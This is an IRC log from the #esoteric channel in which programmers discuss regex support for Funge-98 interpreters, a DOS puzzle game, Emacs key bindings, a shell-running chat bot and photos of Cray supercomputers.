:I.e. not bindings < 1268419070 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that is a bit hard, since you would need to implement that dialect then basically < 1268419077 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Not really hard < 1268419093 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway, posix regex is available from libc aren't they? < 1268419096 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Pick a sufficiently common-denominator dialect and you can implement it with basically any library + a single preprocessing pass < 1268419105 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Only on POSIX, unsurprisingly enough. < 1268419114 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well I can't say I care about other ones < 1268419123 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I know /you/ don't. < 1268419128 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I do, though. < 1268419138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, there are probably free standing implementations of it < 1268419141 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hence "baah", "mehhhhh", etc. < 1268419155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, after all, there is a glibc one, a solaris one and so on < 1268419160 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, gnuwin32 appears to have it < 1268419165 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :What I don't like about REXP is that you can only have one (global) regex compiled. < 1268419168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, cygwin probably does as well < 1268419178 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Cygwin is a POSIX environment < 1268419181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, or per thread, that is disputed < 1268419183 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm using a single "ignore" regex in fungot (instead of an ignore list) because of that. < 1268419183 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: it's a bit complicated, i learned something from " mathematics made difficult"? afaik no scheme module/ package system stuff, although that's not such a problem) < 1268419198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, why a regex at all ;P < 1268419199 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Just write the regex into Funge-Space. < 1268419209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you need to recompile it then < 1268419209 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And then compile/execute each one individually. < 1268419214 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, you do. < 1268419238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw < 1268419242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if I do a PCRE fingerprint < 1268419248 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes, but that's ugly. Not that I didn't consider it. < 1268419251 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I will make it possible to do this < 1268419269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably by requiring that it can serialise to a single funge space cell < 1268419271 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Seems very Fungy to me :-P < 1268419278 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: As a consequence of the current implementation, the bot can't say what the current ignore regex is, because I don't store it anywhere. :p < 1268419283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in a way where not freeing them doesn't cause any memory leakage < 1268419288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, you just drop the handle < 1268419292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they should act like being GCed < 1268419303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which means you need a bignum funge basically < 1268419308 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yes, that seems like a bit of a limitation too :-P < 1268419310 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and serialises it to that < 1268419345 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Bah, the gnuwin32 one is a dynamic library. < 1268419354 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I have somewhere a compiler (in Java, I think) from a regex dialect into Brainfuck; i.e. it creates the brainfuck code that takes input and then prints out "acc" or "rej" depending on whether it matches the regex. < 1268419413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, why is that an issue? < 1268419415 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It was a rather regular sort of regex, though; I don't think it had much more specials than the * and |. < 1268419420 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, also you could extract the code < 1268419422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and build it < 1268419431 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268419440 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, or perhaps just make that fingerprint available on POSIX platforms < 1268419444 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It'd make CCBI depend on something else. < 1268419446 0 :FireFly!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268419463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so extract the code and place it in a subdir of the source code < 1268419463 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I can try to build it myself but one never knows how well that'll succeed. :-P < 1268419469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then build and link it statically < 1268419472 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: glibc? Hell no < 1268419479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1268419481 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Requires so much autoconf and other magic to even get started < 1268419489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, no, I didn't say glibc < 1268419492 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I wouldn't wish that on my worst enemy :-P < 1268419504 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I suggested that you might only make it available if the libc supports it < 1268419509 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is an alternative < 1268419518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, or you could implement POSIX regexps < 1268419518 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I know, that's the easiest alternative. < 1268419519 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or < 1268419527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps, not implement the fingerprint at all < 1268419536 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nah, I wanna be fungot-compatible. < 1268419537 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: i'm writing a function to dream about it. < 1268419545 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fungot: Don't be snarky. < 1268419545 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: this setence no verb. sorry. :) i don't know one < 1268419552 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1268419597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it is unlikely to be run on ccbi I think. Since fizzie said he selected cfunge mainly because he could run longer ^bf and ^ul programs on it. < 1268419600 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to it being faster < 1268419610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, if he completes jitfunge < 1268419613 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is what he will use < 1268419621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at fizzie
< 1268419633 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What he runs it on is his concern, not mine. < 1268419664 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, heh < 1268419667 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Poor bot, doesn't know any verbs. < 1268419691 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Does anybody here have a Windows system immediately available? The .exe at http://people.delphiforums.com/gjc/hs_regex.html isn't behaving. < 1268419697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, wrong. It lied. "know" is a verb isn't it? And so is "don't" < 1268419698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268419704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't is "do" + "not" < 1268419709 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the former being a verb < 1268419726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, delphi? < 1268419727 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wonderful < 1268419735 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I should, however, distribute some sort of "fungot-compliant software" stickers for all Funge-98 interps that can run it. < 1268419735 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: i move first < 1268419742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :chess? < 1268419744 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Indeed! < 1268419750 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Looks like C. < 1268419781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, freebsd libc should provide a very nice posix regex implementation < 1268419783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but < 1268419786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that page is old < 1268419788 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :1997 < 1268419792 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Like they have those Windows-compatible hardware logo things. Though then I'd need a test framework for fungot. (Which might not be a bad idea anyway.) < 1268419793 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: huh, what about the home fnord for the kerry campaign? :) < 1268419796 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It's still POSIX regex < 1268419796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you should extract a newer one from freebsd sources < 1268419800 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Away a while.) < 1268419808 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :REXP doesn't specify version requirements, as can be expected :-P < 1268419813 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, freebsd sources tend to be easy to extract and use elsewhere in my experience < 1268419835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, so it should be a few minutes of work to take it from the source tree on your local freebsd machine < 1268419835 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that's probably what I'll try first. < 1268419853 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps one or two helper functions < 1268419935 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i said which what? < 1268419941 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: You can even pop me one physically and I can take a screenshot of a computer running CCBI with the sticker in the middle of the screen, or something < 1268419994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, in the middle of the screen? ouch < 1268420501 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't have to /nail/ it to the screen < 1268420668 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Anyway, the short speed mention reminded me: any ideas for funge benchmarks? < 1268421214 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Someone said "never trust a computer that you can not throw out of a window" but in my opinion the better advice should be "never trust a computer that you can not thoroughly disassemble" < 1268421363 0 :impomatic!~chatzilla@87.115.63.42.plusnet.pcl-ag01.dyn.plus.net JOIN :#esoteric < 1268421367 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :zzo38, good luck disassembling a microprocessor < 1268421368 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Hi :-) < 1268421424 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it would certainly be difficult to disassemble a microprocessor < 1268421522 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Try this game http://zzo38computer.cjb.net/GAMES/100level.zip see if you can figure it out. (Just run the EXE; do not look at the source-codes unless the EXE won't run or something else...) < 1268421548 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :It deliberately has a lack of good instructions < 1268421565 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how much he should be trusting zzo38
< 1268421567 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Because it is meant you just have to try things to see what works < 1268421581 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Run the program in a virtual machine if you don't trust the program < 1268421607 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :(It is a DOS program) < 1268421712 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I just want to see how many people can possibly figure it out, and even if you can figure it out, you still have to win, of course < 1268421722 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cannot run DOS programs
< 1268421838 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Maybe you can recompile it using FreeBASIC, or something like that. Or, just put FreeDOS on a virtual machine, or run it in the DOSBOX emulator, and so on < 1268421849 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ok, Pidgin has screwed me over one too many times at this point < 1268421864 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: And what kind of screw did it screw you over? < 1268421867 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :What happened to the program? < 1268421881 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :zzo38: Use a real language. < 1268421894 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Tried to bring a window to the front, and it wouldn't come up. But that's relatively minor, it's just the last straw < 1268421917 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pidgin-facebook glitches, sometimes I can't edit my status < 1268421927 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I wrote it in QBASIC but FreeBASIC should be able to compile it too < 1268421946 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I used it simply because I sometimes do that when writing games on DOS < 1268421961 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shoves a C compiler down zzo38's throat
< 1268421962 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :(I didn't use this computer to write it, I used a different computer) < 1268421973 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :On this computer I do have a C compiler, I use MinGW. < 1268421987 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Your DOS machine should have one, too. DJGPP. < 1268422076 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps it should, but I didn't use that. Maybe later I might re-write it (or a similar game) in C, and it might be on Linux console mode and Windows console mode < 1268422111 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION removes zzo38's knowledge of BASIC
< 1268422128 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :That other computer is actually Windows 98 and it isn't in this house, it is elsewhere, when I am there sometimes I do that on there. I have no internet connection there either, so I had to use a floppy disk < 1268422169 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :That other computer doesn't actually belong to me anyways it belongs to the school but they let me borrow it, probably permanently because they probably never want it back < 1268422505 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268424983 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :There is one thing I dislike about Conkeror: C-x C-c does something. < 1268424990 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I hate typo'ing that. < 1268425385 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which reminds me of the main thing i dislike about simon tatham's puzzle collection < 1268425407 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh? < 1268425410 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pressing q quits the fucking program, immediately! < 1268425416 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Urgh. < 1268425460 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's apparently designed to be easily hideable in office environments :D but i have no use for that D: < 1268425586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : There is one thing I dislike about Conkeror: C-x C-c does something. <-- does it quit? < 1268425608 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268425630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, that is expected isn't it? < 1268425643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what would you prefer instead? < 1268425653 0 :Libster!~Libster@pool-173-73-27-43.washdc.fios.verizon.net JOIN :#esoteric < 1268425656 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Something harder to accidentally type. < 1268425661 0 :Libster!unknown@unknown.invalid PART #esoteric :? < 1268425672 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Note that Emacs-style bindings stick a lot of stuff off of C-x ... < 1268425836 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268425847 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I just had a friend complain about C-w closing tabs in Firefox; she was trying to do a copy-paste job on a wiki page in Firefox, and all those Emacs reflexes made her do C-w often. < 1268425910 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :is "C-" an accepted notation for ? < 1268425951 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's the Emacs way to say it. < 1268425984 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :As is M-x for meta-x, and... is it C-M-x or M-C-x, actually? < 1268426002 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :C-M-x is the general notation. < 1268426020 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :'P-x for 'pata-x? < 1268426064 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268426109 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :s-x (yes, lowercase) and H-x for super and hyper, it seems, though I guess there are no (or not many anyway) standard bindings for those. < 1268427461 0 :Phantom_Hoover!~chatzilla@cpc3-sgyl21-0-0-cust116.sgyl.cable.virginmedia.com JOIN :#esoteric < 1268427486 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the Invisible Sucker < 1268427515 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1268427532 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :your nickname < 1268427550 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1268427655 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Are the forums ever even used? < 1268427660 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I thought it dealt with the former head of the FBI < 1268427673 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :was his name hoover? beats me < 1268427677 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: there is a post the occasional month or so < 1268427687 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: hm that rings a bell < 1268427694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`google hoover < 1268427697 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Hoover's proprietary company profiles and industry information. \ [15]Log In - [16]Companies A-Z - [17]Companies - [18]Industries < 1268427705 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: It's named after the vacuum cleaner. < 1268427710 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh okay < 1268427719 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`google j edgar hoover < 1268427720 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :John Edgar Hoover (January 1, 1895 May 2, 1972) was the first Director of the Federal Bureau of Investigation (FBI) of the United States. ... \ [13]Early life and education - [14]FBI career - [15]Legacy - [16]Personal life < 1268427728 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hakcety hack < 1268427734 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :`help < 1268427735 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1268427738 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`google hoover vacuum < 1268427740 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Vacuum cleaners from Hoover featuring the best new and reconditioned models, including powerful upright vacuums, easy to use canister style vacuums, ... \ www.hoover.com/ - [15]Cached - [16]Similar < 1268427772 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :1ls < 1268427775 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1268427777 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.5645 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1268427791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :night < 1268427795 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :we're building a 8088 based computer on a prototype board, with vintage printer and 300baud modem < 1268427816 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :would you like to call our modem and trigger the led-blinking program? :D < 1268427839 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :watchen das blinkenlights < 1268427843 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :`google Hoover FBI < 1268427846 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Jump to [13]FBI career: Hoover was noted as sometimes being capricious in his leadership; he frequently fired FBI agents, singling out those whom he ... \ [14]Early life and education - [15]FBI career - [16]Legacy - [17]Personal life < 1268427862 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: see above < 1268427869 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh, hahaha < 1268427895 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: say this in language that sounds better < 1268427899 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :;] < 1268427906 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nooga: say what? < 1268427914 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :22:03 < oerjan> watchen das blinkenlights < 1268427997 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nooga: http://en.wikipedia.org/wiki/Blinkenlights < 1268427997 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1268428022 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :ahh lool < 1268428131 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :lmao < 1268428133 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :lmao < 1268428142 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :how come that i didnt know that < 1268428200 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://www.catb.org/~esr/jargon/html/graphics/gefingerpoken.jpg < 1268428214 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :lofl < 1268428393 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hadn't seen that one before
< 1268428419 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i think this is the original < 1268428458 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :brb < 1268428513 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Cray CX1 has this funny-looking "modernized blinkenlights" mini-screen on the chassis: http://download.intel.com/pressroom/kits/xeon/5500series/images/Cray_CX1.jpg < 1268428565 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(And it's almost affordable by a regular person, unlike current Real Computers.) < 1268428623 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It reminds me of the Monoliths... < 1268428649 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Blocky things always look more imposing, though... < 1268428709 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That thing is pretty small; it's their "desktop supercomputer". < 1268428721 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What the hell are the big ones like? < 1268428732 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Here's one in a room: http://leahshanker.files.wordpress.com/2009/02/cray.jpg < 1268428739 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :BtW, did that esoteric operating system ever get off the ground? < 1268428793 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Finland's possibly biggest Real Computer, CSC's louhi (Cray XT4/XT5) looks like this: http://www.aamulehti.fi/teema/tiede/5322047-big.jpg < 1268428804 0 :nooga!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1268428814 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They look like reasonably silly refridgerators. < 1268428832 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :s/d// < 1268428859 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I seem to remember that Cray does custom colours for all their Real Computer installations; most of the other ones looked a lot fancier. < 1268428870 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Of course they might've selected only the best-looking ones for the slideset.) < 1268428895 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But, I mean, compare louhi with something like http://blogs.knoxnews.com/munger/jaguartests.jpg < 1268428929 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or http://media.knoxnews.com/media/img/photos/2009/01/23/012409kraken1_t607.jpg < 1268428931 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I vaguely remember some form of supercomputer at the University of Edinburgh. < 1268428933 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Even the names are more impressive. < 1268428953 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Can anyone suggest where I can get a decent feed of programming related links, apart from Digg, Reddit, Delicious and DZone? < 1268428956 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though the Kraken's tentacles have some anime schoolgirl molestation connotations nowadays. < 1268428962 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Eew. < 1268428992 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :impomatic: Hacker News? < 1268428995 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :impomatic: esoteric, or normal? < 1268429019 0 :impomatic!unknown@unknown.invalid PRIVMSG #esoteric :Either < 1268429049 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Though the new faculty cluster we have is called Triton, which is a passable name. And I guess Louhi's not so bad if you know your Kalevala.) < 1268429114 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Edinburgh supercomputers: http://www.hector.ac.uk/about-us/gallery/images/cabinet1.jpg < 1268429122 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :They look like all the others. < 1268429128 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :But with a less cool name. < 1268429177 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :"Hector". < 1268429246 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Does anybody know if the esoteric OS got anywhere? < 1268429328 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I don't < 1268429336 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268429343 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :There seem to have been four attempts. < 1268429352 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Based on the forum. < 1268429379 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :The latest one actually looks achievable. < 1268429439 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :molestation is my favourite station. < 1268429452 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :An appropriate answer, I think. < 1268429456 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, people use the forum? < 1268429461 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268429467 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268429482 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I think that's why all the attempts petered out. < 1268429486 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No-one noticed. < 1268429498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :?!? < 1268429511 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :What, people use the forum? < 1268429520 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric 